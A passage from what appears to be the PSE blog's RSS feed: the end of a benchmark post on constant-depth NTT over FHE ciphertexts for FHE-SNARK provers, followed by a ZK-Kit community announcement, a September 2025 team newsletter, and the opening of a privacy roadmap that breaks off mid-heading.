multiplications; no ciphertext rotations or keyswitches are performed in the measured kernel. ## Our contribution * **Implementation:** Rust + OpenFHE with Intel HEXL acceleration for NTT primitives. * **Measurement:** runtime and homomorphic op counts (ct–pt multiplies, ct–ct adds) across sizes from ~1k to ~2.25M and depths 1–5 (focus on 3–4). * **Positioning:** results interpreted strictly through the lens of FHE-SNARK’s polynomial subroutines, to help researchers decide whether to invest effort upstream (witness layout/extension) or downstream (FHE-SNARK optimization). ## Scope & audience * **Scope:** the NTT kernel over ciphertexts, its constant-depth layout, and empirical behavior on Xeon Ice Lake with AVX-512. * **Audience:** practitioners building proof delegation systems who need concrete numbers to plan engineering work, and researchers prioritizing optimization targets. Outline: §2 reviews the FHE‑SNARK context; §3 details parameters, packing, and instrumentation; §4 reports results; §5 interprets them. # 2. Background: FHE-SNARK & the Constant-Depth NTT Gap **What FHE-SNARK is about.** The FHE-SNARK paper ([ePrint 2025/302](https://eprint.iacr.org/2025/302)) is a state‑of‑the‑art conceptual treatment (no implementation reported): run the SNARK prover *homomorphically* so a single untrusted server can generate a proof while the witness remains encrypted. It formalizes the model and the pipeline for evaluating the prover under HE, and explains why this could be competitive with alternatives. It’s primarily foundational—defining the paradigm and spelling out what needs to be efficient for it to matter in practice. For context, see [ePrint 2023/1609](https://eprint.iacr.org/2023/1609.pdf) and [2023/1949](https://eprint.iacr.org/2023/1949) on verifiable computation over HE and delegation, and [ePrint 2024/1684](https://eprint.iacr.org/2024/1684.pdf) on blind/oblivious SNARK variants. In the FHE‑SNARK paper’s Ligero instantiation, the prover’s homomorphic workload is dominated by Reed–Solomon encoding, which Ligero uses for its codeword commitments; this encoding reduces to large batched NTT‑based evaluation and interpolation over the RS evaluation domain, making the NTT kernel the principal driver of runtime and multiplicative depth over HE ciphertexts. The main levers that govern feasibility here are: * **Multiplicative depth** (drives noise growth and whether extra maintenance is needed), and * **Data movement** (rotations and packing/unpacking overheads; rotations are not used in our measured kernel). * **Operation count** (dominant ct–pt multiplies / ct–ct adds; count any keyswitches/rotations under ops when present). **What the paper clarifies—and what it doesn’t.** The paper clarifies *how* an FHE‑evaluated prover can be structured and *why* polynomial ops are central. But it doesn’t publish **micro‑benchmarks** for any one kernel. In particular, we lack numbers for a **constant‑depth NTT** over ciphertexts: runtime vs. size, depth usage, **operation counts (including any keyswitches/rotations)**, and the corresponding effect on the noise budget. **Why constant-depth matters.** A standard log-depth NTT stacks multiplicative layers; under HE, that means stacked noise growth and more frequent maintenance. A **constant-depth NTT** reorganizes the butterflies and twiddle application so the multiplicative depth is **bounded (size-independent)**. As noted in §3.5, our layout handles index movement via 2D packing and plaintext matrix multiplications; rotations and keyswitches are not used by this kernel. **What we measure (and why it complements the paper).** To fill this specific gap, we isolate and benchmark **constant-depth NTT over ciphertexts** on **real-world–sized transforms**. Our stack is **Rust + OpenFHE with Intel HEXL** acceleration. We report: * Runtime vs. size (from ~1k to ~2.25M entries), * Multiplicative depth exercised (we sweep depths 1–5), and * Homomorphic op counts (ct–pt multiplies, ct–ct additions). This is **not** an end-to-end FHE-SNARK benchmark. It’s a focused, empirical clarification of a single kernel that the paper identifies as central but does not quantify. The result is a cleaner picture of where the true bottlenecks lie once NTT’s multiplicative depth is capped—so teams can prioritize the right optimizations in the rest of the pipeline. We now specify parameters, packing, and how we instrument the kernel. # 3. Methodology This section fixes **what we built, measured** so others can reproduce or extend the results. ## 3.1 Target protocol & kernels We benchmark the **constant‑depth NTT** that sits in the **Reed–Solomon (RS) layer** of the *Ligero* prover path used in the FHE‑SNARK paper. Under homomorphic evaluation, RS **encode/decode** (evaluation/interpolation) is implemented via forward/inverse NTTs; our measurements quantify that kernel in isolation. ## 3.2 Field and NTT domain * **Prime field:** $p = 2^{32}-2^{20}+1 = \mathbf{4\,293\,918\,721}$ (32‑bit prime). * **Implication:** we can run power‑of‑two NTTs directly over $\mathbb{F}_p$, and we can fully batch over $X^N+1$ with $N=2^{14}$ (since $2N=2^{15} \mid (p-1)$). ### Rationale: prime choice - **NTT constraints.** We need power‑of‑two NTTs for (i) the per‑ciphertext sub‑transforms and (ii) the top‑level NTT over the ciphertext grid. With $p-1 = 2^{20} \cdot 4095$, a primitive $2^{k}$‑th root exists for all $k \le 20$; in particular, $2N=2^{15}$ divides $p-1$, so negacyclic NTTs at $N=2^{14}$ are supported. - **FHE constraints (packing).** Using BFV with plaintext modulus $t=p$ enables native batching over $X^N+1$ and cheap ct–pt multiplies. A 32‑bit $t$ keeps plaintext ops and twiddle tables cache‑friendly and aligns well with Intel HEXL’s vectorized kernels, improving throughput without changing multiplicative depth. - **Alignment with FHE‑SNARK.** The FHE‑SNARK paper sketches ~50‑bit fields in its end‑to‑end setting. Our kernel results use a 32‑bit NTT‑friendly prime for practicality and restriction from OpenFHE implementation; production deployments can switch to a 64‑bit NTT‑friendly prime (e.g., Goldilocks). Which preserve the constant‑depth layout; the trade‑offs are mostly constant‑factor timing and memory. ## 3.3 HE scheme & ring parameters * **Library / bindings:** Rust 1.91.0-nightly + **OpenFHE** + OpenFHE-rs (thin FFI bindings). * **Optimization:** **Intel HEXL** enabled (`WITH_INTEL_HEXL=ON`). * **Scheme:** BFV with plaintext modulus $t=p$. * **Ring Dimension:** $2^{14}=16384$ * **Batching:** native BFV batching; all slots active. ## 3.4 Circuits, witness generation, and field port We used **circom** to compile circuits and generate witnesses, ported to the new prime $p$. * **Circuits:** * **Semaphore v4** (membership + nullifier). * **zk‑Twitter** (handle proof; Poseidon/Merkle path). * **Field port:** changed circom’s field modulus to $p=4\,293\,918\,721$ and **tweaked gadgets** to remove dependencies on BabyJubJub/BN254 arithmetic. Concretely, in **Semaphore v4** we **replaced BabyJubJub + Poseidon ID generation** with a lighter **Poseidon Hash2**–based ID derivation (and removed the related range checks). * **Resulting sizes (for reference on constraint magnitude):** * Original **BN128** (semaphore‑v4): **15,917 wires**, witness ≈ **509 KB**. * Current **BN128** (semaphore‑np, optimized): **5,550 wires**, witness ≈ **178 KB**. * The drop is from removing BabyJubJub arithmetic + range checks and using a lighter Poseidon + Merkle path. * *Note:* the above counts are for BN128 baselines; our **field‑ported** versions keep the same logic after replacing field‑specific gadgets. We report these here to indicate the **real‑world scale** we target when sizing NTT batches. > **Security note.** Using a smaller field (32‑bit) changes soundness margins for RS‑based protocols (code distance, rate, soundness error). Our focus here is *kernel* benchmarking; end‑to‑end security must be re‑established at the protocol layer (e.g., by adjusting evaluation domain sizes/rounds). We flag this so readers don’t conflate kernel timing with final system security. ## 3.5 Constant‑depth NTT layout We implement the NTT in a constant-depth, 2D layout. The goal is to keep multiplicative depth fixed (2–3) regardless of input size; we do this with 2D blocking plus plaintext twiddles and depth‑1 sub‑transforms: 1. Sub-transforms: Split the input into smaller subsequences, run NTTs on each at depth-1 (all in parallel). 2. Twiddle & merge (fused): apply plaintext twiddles and run the small group NTTs in a single pass (1 multiplication layer). This way, the whole transform fits within a single multiplication depth per predetermined depth (i.e., the depth of recursion) instead of $\log n$. All index movement is handled via 2D packing and plaintext matrix multiplications; our implementation performs no ciphertext rotations and no keyswitches (counts = 0),. ## 3.6 NTT Sizes and Batching - Field: prime $p = 2^{32} - 2^{20} + 1 = 4,293,918,721$. - Ring: dimension $2^{14}=16,384$ (BFV). - Circuit source: witnesses from Circom (Semaphore-v4, zk-Twitter), ported to this field. - Witness size: from ~1k values up to ~2 million (zk-Twitter). We pack field elements into ciphertext slots. The packing size is chosen near $\sqrt{M}$ for witness length $M$, rounded to a power of two. Inputs are then padded so the ciphertext count is also a power of two. This keeps the matrix shape balanced for the 2D NTT. For a witness of length $M$, we use $\text{lanes} \approx 2^{\lfloor \log_2 \sqrt{M} \rfloor}$ per ciphertext and #CT $= \lceil M/\text{lanes} \rceil$, pad #CT to a power of two, and run an NTT of length #CT. Cost model: this constant‑depth layout uses $O(d\cdot n^{1+1/d})$ ct–pt multiplies (e.g., $O(n^{1.5})$ at $d=2$), trading multiplies for reduced depth (vs. $O(n\log n)$ at $\log n$ depth). ## 3.7 Metrics & Instrumentation - Reported metrics: wall‑clock runtime, ct–pt multiplies, ct–ct additions. - Rotations/keyswitches: not used by this kernel (see §3.5), so we omit those columns. - Noise budget: we did not report a before/after delta for this kernel; adding this is straightforward and left as future work. - Sanity checks: each run decrypts and compares against a plaintext NTT to confirm correctness (excluded from timing). ## 3.8 Hardware & run controls * **Machine:** Intel Xeon Platinum 8375C (Ice Lake, AVX‑512), 1 socket, 8 cores/16 threads (SMT=2), base 2.90 GHz; L3 54 MiB; 128 GiB RAM. Appendix A (Reproducibility) lists full toolchain, parameters, and the exact cargo command used to run these benchmarks. --- This setup lets us answer the narrow question the paper left open—in the exact field and ring parameters we now target: **what does a constant‑depth NTT actually cost** (depth, op counts, milliseconds) when you run it the way an FHE‑evaluated *Ligero* prover would. # 4. Results **Headline:** 1.94 s (5.6k @ depth=3), 4.50 s (22k @ depth=4), 121.1 s (2.25M @ depth=4). *Lower-bound kernel timings.* In an end-to-end FHE-SNARK, NTTs are evaluated at a higher ciphertext modulus (i.e., more levels), so wall-clock will be modestly higher. Reading the tables: lower time is better; counts shown are ct–pt multiplies and ct–ct additions; rotations/keyswitches are zero in this kernel. | Witness size | Best depth | Time (s) | Throughput | | -----------: | ---------: | -------: | ---------: | | 5,570 | 3 | 1.94 | ~2.86k elems/s | | 22,280 | 4 | 4.50 | ~4.95k elems/s | | 2,250,280 | 4 | 121.11 | ~18.6k elems/s | We measure three witness scales—from **\~5.6k** up to **\~2.25M** entries—spanning the tweaked Semaphore v4, its original-sized variant, and a zk‑Twitter–scale input. ### 4.1 Semaphore v4 (tweaked to 32‑bit field) Witness entries: **5,570** | depth | time (s) | ct–pt multiplies | ct–ct additions | | ----: | ---------: | ---------: | --------: | | 1 | 11.4158 | 16,384 | 16,256 | | 2 | 2.6045 | 3,072 | 2,816 | | 3 | **1.9449** | **2,048** | **1,664** | | 4 | 2.7946 | 2,816 | 2,304 | | 5 | 2.5411 | 2,048 | 1,408 | * **Best:** depth **3** → **1.94 s** (\~**2.86k elems/s**, \~**0.35 ms/elem**). * **Speedup vs depth‑1:** \~**5.9×**. * **Note:** past depth‑3, overhead outweighs the smaller op counts. ### 4.2 Semaphore v4 (original‑size, same field) Witness entries: **22,280** | depth | time (s) | ct–pt multiplies | ct–ct additions | | ----: | ---------: | ---------: | --------: | | 1 | 45.4127 | 65,536 | 65,280 | | 2 | 6.4632 | 8,192 | 7,680 | | 3 | 5.3701 | 6,144 | 5,376 | | 4 | **4.4982** | **4,096** | **3,072** | | 5 | 6.6192 | 6,144 | 4,864 | * **Best:** depth **4** → **4.50 s** (\~**4.95k elems/s**, \~**0.20 ms/elem**). * **Speedup vs depth‑1:** \~**10.1×**. * **Observation:** as size grows, the sweet spot shifts from **3 → 4**. ### 4.3 zk‑Twitter–scale (similar witness size on 32‑bit field) Witness entries: **2,250,280** | depth | time (s) | ct–pt multiplies | ct–ct additions | | ----: | -----------: | ----------: | ----------: | | 1 | 11,729.7076 | 16,777,216 | 16,773,120 | | 2 | 387.0503 | 524,288 | 516,096 | | 3 | 160.5035 | 196,608 | 184,320 | | 4 | **121.1053** | **131,072** | **114,688** | | 5 | 133.9219 | 131,072 | 110,592 | * **Best:** depth **4** → **121.11 s** (\~**18.6k elems/s**, \~**53.8 µs/elem**). * **Speedup vs depth‑1:** \~**97×**. * **Note:** depth‑5 trims ops slightly but adds memory traffic and twiddle‑load overhead; beyond depth‑4 that overhead outweighs the saved multiplies, so **depth‑4** wins. ### 4.4 Takeaways * **Constant‑depth works.** Depth‑1 (naïve matrix NTT) is impractical at scale; depth **3–4** is **5–97× faster** across our sizes. * **Size decides the sweet spot.** Small (\~5.6k) prefers **3**; medium/large (22k–2.25M) prefers **4**. * **Cost shifts to data movement.** After the sweet spot, runtime flattens even as op counts drop—overheads (layout, scheduling, memory, twiddle loads) dominate. * **Feasible at real scale.** With **depth‑4**, a single Ice Lake socket processes **\~2.25M** field elements in **\~2 minutes**. # 5. Discussion & Conclusion **What we showed.** Constant‑depth NTT over ciphertexts is **practical** at real scales in the FHE‑SNARK (Ligero/RS) setting. On a single Intel Xeon Platinum 8375C (Ice Lake, AVX‑512) socket and a 32‑bit field: * Depth‑1 (naïve matrix) is a non‑starter at scale. * Depth **3–4** delivers **5×–97×** speedups and keeps depth bounded. * The **sweet spot shifts with size**: \~5.6k entries → **depth‑3**; ≥22k up to \~2.25M → **depth‑4**. **What this means for builders.** * **NTT isn’t the blocker.** With a constant‑depth layout, the transform fits inside typical BFV depth budgets and runs in minutes even at \~2.25M elements. * **Optimize for data movement.** Once depth is capped, runtime flattens as op counts fall—**memory traffic and scheduling** take over. Co‑design your **packing** (near‑square), **stride sets**, and **batch shape** with upstream/downstream steps. * **Pick depth first, then tune.** Start at **depth‑3** (small/medium) or **depth‑4** (large), then adjust packing and ring parameters for your throughput/memory envelope. **On the 32‑bit field.** We ported the circuits to $p=4{,}293{,}918{,}721$ to exercise the kernel. That choice is fine for NTT benchmarking, but **protocol soundness** in RS/Ligero must be re‑established for smaller moduli (e.g., domain size/rounds). See §3.2 “Rationale: prime choice” for how this prime satisfies NTT roots, aligns with OpenFHE packing, and how to lift to ~50‑bit effective modulus via CRT or use a 64‑bit NTT‑friendly prime. For production fields: * Use **CRT** across several 32‑bit primes, or * Switch to a **64‑bit prime** (e.g., Goldilocks) and expect roughly linear cost growth in ct–pt multiplies (constants depend on HEXL paths). **Limits of this work.** * **Kernel only.** We did not measure the full FHE‑SNARK pipeline. * **Metrics coverage.** We reported time and ct–pt/ct–ct counts. Rotations/keyswitches are not used by this kernel (counts = 0), and we did not yet add a simple before/after noise‑budget delta. * **One machine profile.** Results are single‑socket Ice Lake; microarchitecture changes will shift constants. **Where to push next.** * **R1CS modulus/porting:** R1CS circuits over a smaller prime field are non‑standard; existing BN254/BlS12‑based gadgets don’t carry over as‑is. Re‑audit soundness and constraints under the new modulus (e.g., range checks, hash/curve gadgets), and update any protocol‑level parameters accordingly. * **Witness extension under HE:** End‑to‑end proving requires RS witness extension executed under HE; we did not explore this here. Tooling is currently sparse—build generators that perform extension, packing/padding, and correctness checks under HE to integrate with the NTT kernel. * **Hardware:** explore GPU offload for rotations/KS; widen AVX‑512 utilization. * **End‑to‑end:** plug this NTT into a E2E prover under FHE, re‑tune RS parameters for target soundness, and report wall‑clock/communication together. **Bottom line.** The FHE‑SNARK paper left constant‑depth NTT unmeasured. We filled that gap with a concrete implementation and numbers across **\~1k → \~2.25M** elements. With **depth‑3–4**, NTT is **depth‑stable and fast enough**; the next wins will come from **layout and bandwidth** (rotations if introduced in future variants), not the butterfly. --- # Appendix A. Reproducibility - **Repo:** https://github.com/tkmct/fhe-snark - **HE libs:** OpenFHE v1.2.4 (shared libs on system); Intel HEXL v1.2.5 enabled at OpenFHE build time. If relevant, also record exact commit hashes and build flags. - **CPU:** Intel Xeon Platinum 8375C (Ice Lake), x86_64, 1 socket, 8 cores/16 threads (SMT=2), base 2.90 GHz; caches: L1d 384 KiB (8×), L1i 256 KiB (8×), L2 10 MiB (8×), L3 54 MiB (1×); NUMA nodes: 1; AVX‑512 supported; virtualization: KVM. - **Memory:** 128GiB ]]> FHE ZKP <![CDATA[ZK-Kit: Cultivating the Garden of ProgCrypto]]> https://pse.dev/blog/zk-kit-cultivating-the-garden-of-progcrypto https://pse.dev/blog/zk-kit-cultivating-the-garden-of-progcrypto Tue, 23 Sep 2025 00:00:00 GMT <![CDATA[ZK-Kit is a collection of secure and easy-to-use libraries that make building privacy tools safer and faster. PSE has grown it, and now we invite the community to expand it together.]]> <![CDATA[ ProgCrypto has [conquered](https://l2beat.com/scaling/summary) scalability, but privacy still has ways to go. By improving our tooling, we expedite the journey towards a more privacy-conscious future. Software libraries shy away behind an interface but they pack a lot of heat. They are a developer's best friend: boosting productivity without imposing too much of an opinion on the overall application -unlike their fiesty loud sibling, SDKs. ProgCrypto libraries are _especially_ special because they shield developers from security and soundness minefields had they rolled their own cryptography -an ever present concern. But that is only true when libraries are: - Open-sourced for maximal eye-ball attention and bug detection - Well-tested and audited - Carefully designed to avoid accidental mishaps that can result from poorly designed interfaces and leaky data-function encapsulations - Well-documented not only to minimize onboarding overhead on developers but also ensure proper use and understanding of security assumptions At PSE, we love ProgCrypto libraries. We lift modular components from the [projects we build](https://pse.dev/en/projects), put them through dedicated security reviews, benchmarking, and thorough and continous testing. We also put emphasis on cleanly standardized interfaces across different implementations of the same functionality in different languages -_learn it once, use it everywhere_. This effort has culminated into our garden of ProgCrypto libraries: [ZK-Kit](https://github.com/zk-kit). Since its early days, we have only increasingly doubled-down on this conscious effort, leading to: - 23 packages in 5 supported languages - ~200 users by repository counts - ~30 contributors (~7 from PSE) - ~1500 commits ### We want even more goodness Today we would like to open the gates to this beautiful garden and welcome a wider community contributors to be part of its journey, pushing it to new heights. We call upon fellow developers and peer projects in our ecosystem to lift useful modular libraries from their codebases, and plant them in this communal garden. Having the community coalescing around standardized libraries of common primitives is now a major goal for PSE. Our standards are high, but we hope the community finds the contribution process and feedback a valuable learning process and a badge of achievement upon a successful merge. We are more ambitious that ever to: - Add more libraries while ever increasing quality controls: testing, benchmarking, security reviews, and assessment of interface ergonomics - Increase awareness and help onboard contributors - Give active contributors and projects a say in governance, standards and best practices We invite peer projects in our ecosystem to lift modular components that can be useful to others, and contribute to ZK-Kit. This is a win-win: - A win for the contributing projects for having extra eyes on their components and having them stress-tested and security-reviewed - A win for the community of developers to boost their productivity and lean on their new components We also invite independent developers to proactively contribute to ZK-Kit. Successfully contributing to this garden is not only a learning experience (our standards are high and there will likely be reviews and revisions), but also a chance to leave your mark on countless other projects that may use your code: - Transplant a Pull Request tree or bring an [issue](https://github.com/zk-kit#-open-issues) flower into the ZK-Kit garden - Get help and advice about your intended contribution in the [community channel](https://github.com/zk-kit/zk-kit/discussions) - Raise awareness of ZK-Kit, (re)use it and give feedback We would like to extend a big thank you to all the contributors and maintainers who made this possible. We are excited to continue supporting ZK-Kit with even more community involvement.]]> zero-knowledge ZK-Kit <![CDATA[PSE September 2025 Newsletter]]> https://pse.dev/blog/pse-september-2025-newsletter https://pse.dev/blog/pse-september-2025-newsletter Tue, 16 Sep 2025 00:00:00 GMT <![CDATA[A roundup of updates from PSE teams covering our three new focus areas of private writes, private proving, and private reads.]]> <![CDATA[ We’re changing the format of our updates to reflect the three focus areas from our new [roadmap](https://ethereum-magicians.org/t/pse-roadmap-2025-and-beyond/25423): - **Private writes**: improving the feasibility, usability and affordability of writing to Ethereum privately. - **Private proving: m**aking proof generation and verification fast, private, and accessible. - **Private reads**: enabling reads from Ethereum without revealing identity or intent. Here’s what PSE teams have been up to this last month! ## 🏗️ Private Writes ### [MACI](https://pse.dev/projects/maci) Since our last update, MACI has made solid progress on several fronts: strategy, integrations, and V4 research. Given wider organisation changes, we have been defining a new strategy to accelerate the adoption of privacy in governance - we’ll be announcing the results of this over September! We unveiled an exciting [integration](https://x.com/AragonProject/status/1958138194278412798) with Aragon to bring private, anti-collusion voting to their DAO tooling stack. We have also been progressing with research into the next MACI version, which aims to improve the trust assumptions of MACI and improve DevEx. We’re aiming share that with collaborators for feedback in October, and present it more widely around November. ### [Semaphore](https://pse.dev/en/projects/semaphore) We recently wrapped up the Trusted Setup Ceremony and started to update Semaphore with the new production zk artifacts. This included adding the artifacts to the snark-artifacts repo, updating the protocol's smart contracts and proof package, and releasing version v4.13.0. We also deployed the updated contracts across all supported testnets, updated their subgraphs, and ensured the boilerplate reflected the latest changes. We began exploring how Semaphore can be applied to private governance, mapping out potential use cases. Next, we'll focus on deploying the new contracts to all supported mainnets and updating their corresponding subgraphs. Once that's complete, we'll publish a new release, update the benchmarks page, and the extensions repository projects, including the benchmarks app, contract extensions, and explorer. The final step will be to announce the new version publicly on X. ### [Indistinguishability Obfuscation (iO)](https://pse.dev/en/projects/machina-io) We improved the lookup evaluation for BGG+ encodings so that it relies only on the LWE assumption. We are writing a paper to propose this lookup technique for various cryptographic primitives such as attribute based encryption, laconic function evaluation, and so on. We attended CRYPTO 2025 in Santa Barbara to catch up on recent work in iO and advanced encryption. We also had technical discussions with cryptographers. ### vFHE We put together an [overview of the FHE + blockchain ecosystem](https://hackmd.io/xcf2tzkZQieZeglAWbR99Q?view), looking at the main players, use cases, and the core considerations when bringing FHE into Web3. The document maps out projects working on confidential smart contracts, encrypted rollups, and verifiable computation, lists who’s active in the space, and shows how different approaches connect. We also highlight use cases like private DeFi, stablecoins, and governance, and sketch out principles to keep in mind — from choosing the right scheme to making things verifiable and manageable in practice. It’s meant as a snapshot of where things stand today and a starting point for ongoing discussion. ### [PlasmaFold](https://pse.dev/projects/plasma-fold) We updated PlasmaFold to run with arkworks latest versions, featuring new msm routines (observed a 2-3x speedup for the transaction aggregator! We are also well below the 1s tx proving time in Chrome now). We are in the literature review phase for a privacy-preserving version of PlasmaFold. ### IPTF (Institutional Privacy Task Force; was: Enterprise Privacy) We’ve recently formed a [new team](https://www.notion.so/25ed57e8dd7e803b817af09d7ff253d5?pvs=21) to explore enterprise privacy and have started scoping out the potential impact and deliverables we want to achieve. In the past weeks, we’ve been introduced to members of the EcoDev team and stakeholders who are directly facing precise privacy challenges. These conversations are giving us a clearer view of the landscape and where our efforts could make a meaningful difference. From those discussions, we’ve kicked off an **Enterprise Privacy Mapping** effort. The goal is to systematically capture the problems enterprises are encountering, map them against possible solutions, and identify the technical gaps where we could step in. This mapping will help us prioritize our work, align with existing needs, and ultimately guide us toward concrete prototypes and solutions that can move the needle for stakeholders. ## 🪢 Private Proving ### [Mopro](https://pse.dev/en/projects/mopro) This month, Mopro has upgraded to the latest stable Rust version 1.89.0 and enhanced support for proving systems, including Circom 2.2.0 and Noir v1.0.0-beta.8. These updates bring the latest functionalities, such as buses feature for Circom and more stable on-chain verifiers for Noir, unlocking opportunities for builders to explore. Additionally, CLI upgrades will improve the developer experience on mobile. ### [TLSNotary](https://pse.dev/en/projects/tlsn) We are finishing the alpha.13 release, featuring a range of protocol-level improvements. We’ve optimized performance across the stack, including a better LPN estimator and faster commit logic. These changes not only speed things up but also make the codebase easier to test, maintain, and integrate. We’ll share detailed benchmark results in an upcoming blog post. Alongside these protocol improvements, we’re working on an SDK with plugin support, designed to be easy to integrate across runtimes. Preparations for TLS 1.3 support have also begun. The trustless verifier demo is now live at [demo.tlsnotary.org](https://demo.tlsnotary.org/), and we’ve published a new blog post covering the project’s history. Preparations for zkTLS Day at Devconnect are well underway, and we’re collaborating with the Mopro team on a Noir example for proving TLS commitments in zero knowledge. ### [zkID Standards](https://pse.dev/projects/zk-id) This month, we made significant progress across the zkID roadmap, revocation requirements gathering, and research on VORPF for zk-KYC. We also kicked off the L2 Identity Working Group with our ecosystem partners. On the research side, we benchmarked mobile proving performance for the zkID ZKP wallet unit PoC, with findings that highlighted memory bottlenecks for sumcheck. We also explored the feasibility of client-side proving with zkPDF. On the community front, we are currently in preparations for the ETHDelhi hackathon, and we’ve aligned on a strong set of CSP ideas to bring to zkID day at Devconect. As we move into September, we’re focused on delivering a finalized revocation plan and solidifying the long-term zkID vision. ### [zk-kit](https://pse.dev/en/projects/zk-kit) Progress has been made on ongoing maintenance and on finalizing the new website design and implementation, which is nearly ready to launch. Next, a blog post will be published on PSE and the ZK-Kit community exit plan will be announced on X. ### [Client-Side Proving](https://pse.dev/en/projects/client-side-proving) In August, we advanced the [client-side proving benchmarks](https://github.com/privacy-ethereum/csp-benchmarks) by standardizing metrics reporting, adopting `criterion` for statistically robust runs, and extending SHA-256 benchmarks coverage with new RISC0 and Miden `ere`-based suites. The integration of `ere`, an initiative of the ACT EF team, lets us benchmark multiple zkVMs using a consistent abstraction layer. We introduced reproducible RAM profiling, decoupled performance and memory measurement, and restructured ProveKit inputs for better comparability. We also improved CI reliability by splitting workflows. We have also advanced [WHIR-based multilinear proving system research](https://hackmd.io/@clientsideproving/whir-based), comparing ProveKit (Spartan-WHIR), Whirlaway, and HyperPlonk-WHIR under consistent benchmarks. We found ProveKit to be the most balanced option, as it combines competitive proving times with stable RAM usage. ### Privacy Experience We’re excited to introduce a new team, called Privacy Experience, that tries to close the gap from making privacy on Ethereum not just technically possible, but something that users can understand and experience. This month we’re connecting with external teams and doing user testing of different privacy tools to identify challenges and ways to collaborate. We’re also supporting PSE team events and collaborating with other folks in the privacy world to set up a [Privacy Hub](https://forum.devcon.org/t/arg-community-hub-privacy-on-ethereum/7858) at Devconnect! ### [vOPRF](https://pse.dev/projects/voprf) We’ve been exploring different approaches to ensure reliable data availability of DNS public keys, which are critical for use cases like email verification, JWT validation, and other cryptographic workflows. This line of research is particularly relevant for projects such as vOPRF, which depend on DNS resolution to generate and verify third-party zero-knowledge proofs. Through this effort, we curated and compared a range of potential solutions for DNS public key availability, spanning both on-chain and off-chain models. Each approach carries different trade-offs in terms of scalability, security, and ease of integration. While the exploration uncovered promising directions, the immediate utility for vOPRF is not yet clear, and further refinement of use cases will be needed before moving forward. ## 🧪 Private Reads ### Private RPC In our Private Read track, we’re working to preserve privacy in how Ethereum users read state—protecting both what’s being queried and the identity signals (like IP addresses) such requests can reveal. This month we started our initial investigation into the ORAM/TEE stack. This includes the initial design of how we can integrate Oblivious Labs’ ORAM implementation with Kohaku wallet via RPC call. Next we’ll be looking at: - TEE side: dig deeper into remote attestation in ORAM/TEE setting and integrate attestation feature into Helios - Concrete plans for securing TEE connection with browser, implementation. - Intercepting state-access opcodes in Helios in order to package the request for an RPC call to the ORAM-TEE server ### Kohaku We are excited to support the Kohaku effort for a privacy-first wallet experience. In collaboration with Oblivious Labs, we are implementing the necessary modifications in Kohaku to route RPC read requests to the ORAM-TEE server, which includes handling TEE attestations and encrypting and sending the previously transparent RPC requests. In parallel, we are also working on modifications to the Helios light client, which Kohaku relies on for client-side validation of roots and contract calls, in order to intercept state-read opcodes and getting the required state through the ORAM-TEE server. ]]> newsletter <![CDATA[PSE Roadmap: 2025 and Beyond]]> https://pse.dev/blog/pse-roadmap-2025 https://pse.dev/blog/pse-roadmap-2025 Fri, 12 Sep 2025 00:00:00 GMT <![CDATA[The Privacy Stewards of Ethereum (PSE) mission-driven roadmap for embedding privacy as a first-class citizen across Ethereum, focusing on private writes, private reads, and private proving.]]> <![CDATA[ *This is an aggregation of many ideas from across the ecosystem, shaped by contributions from many people smarter than us. Compilation was driven by [Sam](https://x.com/samonchain), with inspiration and input from Vitalik, Silviculture Society, PSE team & particularly* [*Oskar*](https://x.com/oskarth) *through countless conversations.* # Introduction Ethereum is on the path to becoming the settlement layer for the world, but without strong privacy, it risks becoming the backbone of global surveillance rather than global freedom. A system without privacy will push institutions and users elsewhere, undermining the very mission that brought Ethereum into existence. If Ethereum fails to build privacy, it fails to protect the people who rely on it. That’s why we’re refocusing PSE from a cryptography explorations team, into a problem-first team: **Privacy Stewards for Ethereum**. Our role isn’t to own every solution in the space, but to drive clarity, focus, collaborations, and outcomes across the ecosystem ensuring privacy is treated as a first-class feature at the application layer. This document lays out how we’ll pursue that mission, and how we can build together in the upcoming months and years. # Overview ## Mission _Our mission is to help define and deliver on Ethereum's privacy roadmap._ Ethereum deserves to become core infrastructure for global digital commerce, identity, collaboration, and the internet of value. But this potential is impossible without private data, transactions, and identity. We take responsibility within the Ethereum Foundation for ensuring privacy goals at the application layer are reached, and we’ll work with protocol teams to ensure that any L1 changes needed to enable strong, censorship-resistant intermediary-free privacy take place. ## Vision _Our vision is to make privacy on Ethereum the norm rather than the exception._ Ethereum will have comprehensive end-to-end privacy embedded across the technical stack (protocol, infrastructure, networking, applications, wallets). Privacy solutions will be widely adopted across core use cases (e.g. finance, identity, governance), seamless in user experience, performant, cost-effective, and compliant with global regulations. ## Identity _We’re revamping our identity to reflect our new mandate._ PSE is evolving from “Privacy & Scaling Explorations” to “Privacy Stewards of Ethereum”. This is a change in name, mindset, and culture. - We’ll focus on concrete problems vs. pursuing cool tech - We’ll focus on ecosystem outcomes vs. internal projects [We already revamped our website to reflect these changes: pse.dev](https://pse.dev/) as well as internal team’s goals and ways of working. # Strategy ## Approach PSE will compile and communicate the problem space, ensuring the ecosystem has clarity on priorities and confidence that progress is real. **Principles** - Subtraction by default. We should not do everything, we aim for the greatest impact where others do not act. - Values: inspired by EF’s values of censorship resistance, open source, privacy, security. Our key points of leverage: credible neutrality, reputation, domain expertise, long-term thinking. They guide how we assess the ecosystem, provide constraints on how we evaluate options and make decisions. - Problem-driven resource allocation. We fund efforts to solve important ecosystem problems based on outcomes we aim to see. This means working our way backwards from end goals, and structuring efforts as “problems to be solved” vs. “projects to fund”. - These shape how we build, what we pursue vs. ignore, and how we prioritize. **Process** 1. [Problem radar](https://hackmd.io/@xzoey/HyR3Oi2Bxl): continuously map ecosystem problems related to privacy (iterative process; not a one-off) 2. Execution map: decide and act on what PSE should be actively involved in, with 3 levels of engagement: (a) lead vs (b) support vs (c) monitor, and metrics for tracking progress toward goals. 3. Communicate publicly: and invite feedback. share on e.g. public newsletters, open community calls, working groups, forums and blog posts. Continuous feedback loops should be the norm. ## Key tracks Drawing inspiration from the simplicity of the [Protocol](https://blog.ethereum.org/2025/06/02/announcing-protocol) and [EcoDev](https://blog.ethereum.org/2025/07/10/future-of-ecodev) announcements, we’re aligning PSE’s roadmap around three clear focus areas. These come out out of our [privacy domain mapping](https://hackmd.io/@xzoey/HyR3Oi2Bxl), highly-rated [user stories](https://docs.google.com/spreadsheets/d/1fvfft-zaSiswxA6PRmw7dfZ4zalhmqdDxfFUyt_nGR0/edit?gid=714505087#gid=714505087), insights from [existing initiatives](https://pse.dev/projects), and various input from key community stakeholders e.g. [Vitalik](https://www.youtube.com/watch?v=oCANLFSCPq8&t=831s), [Silviculture Society](https://ethereum.foundation/silviculture-society), [EF management](https://ethereum.foundation/people). ### (A) 